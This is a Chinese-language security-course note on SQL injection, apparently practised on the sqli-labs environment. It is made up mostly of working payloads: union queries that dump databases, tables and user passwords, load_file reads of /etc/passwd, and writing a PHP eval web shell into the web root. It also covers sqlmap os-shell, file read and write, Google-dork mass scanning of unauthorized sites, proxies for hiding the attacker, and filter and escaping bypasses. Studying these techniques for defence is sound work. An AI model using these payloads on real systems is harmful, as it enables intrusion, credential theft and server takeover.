【网络安全4x02】洞明科技网络安全培训 --- day2

第二天讲sql注入以及其中的一些绕过方法。

手动注入

1. 判断是否存在注入点

1
2
?id=33 and 1=1  #恒真
?id=33 and 1=2 #恒假

2. 猜列数

1
?id=33 order by x

二分查找。

3. union查询爆当前数据库名

1
?id=-33 union select 1,2,binary(group_concat(user(),database(),curtime())),4,5,6,7,8,9,10,11,12,13,14,15

这里加负号避免前面正常显示的数据占用了位置导致后面不显示。

4. 爆数据库列表

1
?id=-33 union select 1,2,binary(group_concat(schema_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.schemata

group_concat可以将查到的全部信息一行显示。

5. 爆tables列表

1
?id=-33 union select 1,2,binary(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='cms'

6. 爆columns列表

1
?id=-33 union select 1,2,binary(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='cms_users'

7. 爆相关column内容

1
?id=-33 union select 1,2,binary(group_concat(userid,' ',username,' ',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users

8. 读取本地文件

1
?id=-33 union select 1,2,load_file('/etc/passwd'),4,5,6,7,8,9,10,11,12,13,14,15

9. 写入反弹shell

1
?id=-33 union select 1,2,'<?php @eval($_POST[gt]);?>',4,5,6,7,8,9,10,11,12,13,14,15 into outfile '/var/www/html/gt.php'

sqlmap注入

1. [GET]单个参数

1
sqlmap.py -u http://127.0.0.1/sqli-labs/sqli-labs/Less-1/?id=1

2. [GET]多个参数

1
2
3
#指定参数
sqlmap.py -u "http://127.0.0.1/sqli-labs/sqli-labs/Less-1/?id=1&cc=1"
-p "id"

3. [GET]多个URL

1
2
sqlmap.py -m 文本文件
选Y,对此URL注入测试;选n,自动进行下一个;选择q,退出探测。

4. [POST]burp提取HTTP请求生成文件

1
2
sqlmap.py -r E:\360MoveData\Users\Administrator\Desktop\post.txt(第11关)
随意输入内容,使用burp抓包。

5. [POST]使用–data传递post数据

1
2
sqlmap.py -r E:\360MoveData\Users\Administrator\Desktop\post.txt(第11关)
随意输入内容,使用burp抓包。

COOKIE注入

1. 判断

当我们登陆后将信息存在了COOKIE中,后台进行判断,发现COOKIE中会显示上面
的个人信息,而不是登录框。在上面的信息中可以看到,多出了一个Your ID:8,这
个信息很有可能是从数据库中查询出来的,我们再次访问该页面,使用burp抓包分析,
此时会发现获取到了COOKIE值。

可以看到COOKIE中有uname=admin,说明后台很有可能利用COOKIE中的uname去数
据库中进行查询操作。

2. 手动检测

将COOKIE中的信息改为uname=admin’,页面报错了,并且从报错信息中可以看出,
后台使用的是单引号进行的拼凑。

3. sqlmap注入

1
2
sqlmap.py -u http://192.168.30.88/sqli-labs/sqli-labs/Less-20/ --cookie
"uname=admin" --level=2

sqlmap经典语法

1. –banner

1
2
3
查询数据库类型,版本信息。(任意一个url都可以)
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/index.php?id=1
--banner

2. -g “谷歌语法”

1
2
3
4
对网站url进行批量注入测试
如inurl:index.php?id= 在没有google搜索引擎的情况下,使用baidu也是不错的。
会搜索到很多网站,可以对这些网站进行尝试。不过这些都是属于未授权测试,只做演示。
sqlmap.py -g "inurl:index.php?id="

3. –sql-shell

1
2
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/?id=1 --sqlshell
执行操作指令,之后执行sql语句即可。

4. –os-shell

执行条件:
1. 网站必须是root权限
2. 攻击者需要知道网站的绝对路径
3. GPC为off,php主动转义的功能关闭

1
2
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/index.php?id=1
--os-shell

5. –os-cmd

1
2
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/index.php?id=1
--os-cmd=whoami 成功执行

6. –file-read

1
2
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/index.php?id=1
--file-read="c://test.php"

7. –file-write –file-dest

1
2
3
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/?id=1 --file-write "E:\360MoveData\Users\Administrator\Desktop\hhh.txt" --file-dest
"c://aa.txt"
将本地桌面的hhh.txt(内容为hahaha)上传到服务器c盘,名字为aa.txt。

8. –dbms=”MySQL”

1
2
3
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/index.php?id=1
--dbms="MySQL"
指定数据库类型

默认情况下sqlmap会自动识别探测目标Web应用程序的后端数据库管理系统(DBMS),以下列出sqlmap完全支持的DBMS种类:

MySQL,Oracle,Firebird,IBM DB2,Informix,Microsoft Access,Microsoft SQL
Server,PostgreSQL,SAP MaxDB,SQLite,Sybase

9. –sql-query

1
2
执行一个sql语句,相当于--sql-shell,执行sql操作。
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/?id=1 --sql-query "user()"

10. –sql-file

1
2
3
从指定文件执行sql语句
新建一个sql.sql文件,写入database();
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/?id=1 --sql-file "E:\360MoveData\Users\Administrator\Desktop\sql.sql"

11. –proxy=”IP:端口”

1
2
3
4
sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1
--proxy="http://IP:端口"
使用代理进行注入检测,所发送的包都会从代理机器发送出去,可以更好的保护自己。
免费代理池:https://lab.crossincode.com/proxy/

12. –technique

1
2
3
对Less-1注入测试,会检测所有注入,发现存在四种注入技术。
指定注入类型,会大大缩短时间。
sqlmap.py -u http://192.168.0.111/sqli-labs/sqli-labs/Less-1/?id=1 --technique B

13. –fresh-queries

1
2
3
4
清除缓存
sqlmap.py -u http://127.0.0.1/sqli-labs=/sqli-labs=/Less-1/?id=1 --fresh-queries
sqlmap每次查询都会将查询结果储存在.sqlmap文件夹中,下次再有相同的查询会调用
上次的查询结果,使用这个参数可以忽略文件中的记载结果,重新查询。

14. –flush-session

1
2
3
4
刷新会话
sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --flush-session --technique B
会发现开始初次检测,这就是第一次测试。
之后的测试会很快,已经有了缓存。

15. –batch

1
2
3
4
对所有的交互式的都是默认的
sqlmap.py -u http://127.0.0.1/sqli-labs/sqli-labs/Less-1/?id=1 --batch --
flush-session --technique B
简单来说:自动选择默认,中间不需要操作。

16. –start –stop

1
2
指定查看列的范围 --start 获取第一个查询输出数据位置 --stop 获取最后查询
输出数据位置 会查询指定位置的列信息。

17. –first –last

1
2
3
4
指定查看字符的范围 --first 获取第一个查询输出字的字符 --last获取最后查询
的输出字字符
通过--first 2和--last 3指定查看字符范围,只在盲注时使用,因为只有盲注会一个
字一个字猜解。

常见绕过方式

1. 双写绕过

  1. 输入order by 查询出字段数为3
  2. 输入union select 进行联合查询,发现过滤了union、select
  3. 进行双写绕过(select三次):id=-1’ununionion selselselectectect 1,2,3%23
  4. 利用注入漏洞读取 key : id=-1’ununionion selselselectectect
    1,load_file(“/var/www/html/key.txt”),3%23

2. 大小写绕过

  1. 输入order by 查询出字段数为3
  2. 输入union select 进行联合查询,发现过滤了union、select
  3. 进行大小写绕过:id=-1’ uNion seLect 1,2,3%23
  4. 读取key:id=-1’ uNion seLect 1,load_file(“/var/www/html/key.txt”),3%23

3. 注释绕过空格

  1. 输入and 1=1 发现过滤了空格
  2. 利用注释符进行进行绕过空格:id=1'/**/and/**/1=1%23
  3. 使用order by进行判断字段数:id=1'/**/order/**/by/**/3%23
  4. 使用联合查询:id=-1'/**/union/**/select/**/1,database(),version()%23

4. 空格其他绕过方式

  1. %09、%0a、%0d、%0b等
  2. 括号绕过空格
  3. 使用 + 号、Tab键、两个空格、反引号等

5. 过滤等号=绕过

  1. 使用like绕过
    使用通配符 like 执行的效果和 = 一致,所以可以用来绕过等号过滤。
    -1' union select * from users where id like 2%23

  2. 使用 <> 绕过
    <> 等价于 != 所以我们可以在 <> 前加个 ! 就变成等于了。例如:
    id=-1' union select * from users where !(id<>2)%23

宽字节注入

概念

编码类型:

  • 单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。

  • 多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

  • UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根 据不同的符号而变化字节长度,一般会占3个字节。

  • GBK 编码:也是一种多字节编码,它一般占两个字节。

而一般常见的存在宽字节注入的编码类型为:GBK 和 BIG5

前提条件

在实际应用中,为防止注入漏洞通常会把单引号处理下,那又为啥要处理单引号呢?

比如:

1
2
$id=$_GET[‘id’];
select * from users where id = ‘$id’

上边呢我们输入进去的 SQL 语句,都会赋值给 $id 这个变量,然后会被包含在引号里,在PHP中引号里的内容是属于字符串的,所以我们直接在这里输入的一些 SQL 命令都会被当作字符串处理,这些命令就不会起到作用。

所以我们在字符型注入中才会先用单引号闭合下,再输入 SQL 命令,这样后面的命令才会执行。如果程序中在我们输入的单引号前加上个反斜杠比如:\’。这样的话这个单引号就是个字符了,没有单引号闭合的作用,所以就起到了防护的作用。

为了突破这个防护,我们可以使用宽字节注入的方式进行突破:

我们的使用方式是:%df’,当我们在单引号前加上%df的时候,也就是输入%df’这样传入到数据库中就会变成:%df%5c’

那么宽字节注入的突破方式除了 %df 之外还有其他的方式么?

其实是有的,我们可以看下 GBK 的编码表:https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php,这里的%DE%5C%E0%5C,等都是可以的。

注入步骤

  1. 在id=1后面添加单引号发现被转义,在前面加了个\
  2. 使用%df进行闭合:id=1%df' and 1=1%23

二次查询注入

sqli-lab 第五关 二次查询注入

双查询注入其实就是一个select语句中再嵌套一个select语句,嵌套的这个语句称作子查询select concat((select database()));

基础函数

  • count():汇总数据函数
  • rand():随机输出一个小于1的正数
  • floor():把输出的结果取整
  • group by语句:把结果分组输出
  • concat():连接两条语句

注入过程

1
select concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;

这里解释一下,把select database()floor(rand()*2)的结果输出到a里,然后最大长度根据information_schema.tables来决定,然后用a进行分组,bees1一组,bees0一组:

1. 爆当前库名

1
http://192.168.1.113:86/Less-5/?id=1' union SELECT null,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a%23

2. 报表名

1
http://192.168.1.113:86/Less-5/?id=1' union SELECT null,count(*),concat((select table_name from information_schema.tables where table_schema='security'limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

3. 爆列名

1
http://192.168.1.113:86/Less-5/?id=1' union SELECT null,count(*),concat((select column_name from information_schema.columns where table_name='users'limit 12,1),floor(rand()*2))as a from information_schema.tables group by a%23

4. 查数据

1
http://192.168.1.113:86/Less-5/?id=1' union SELECT null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23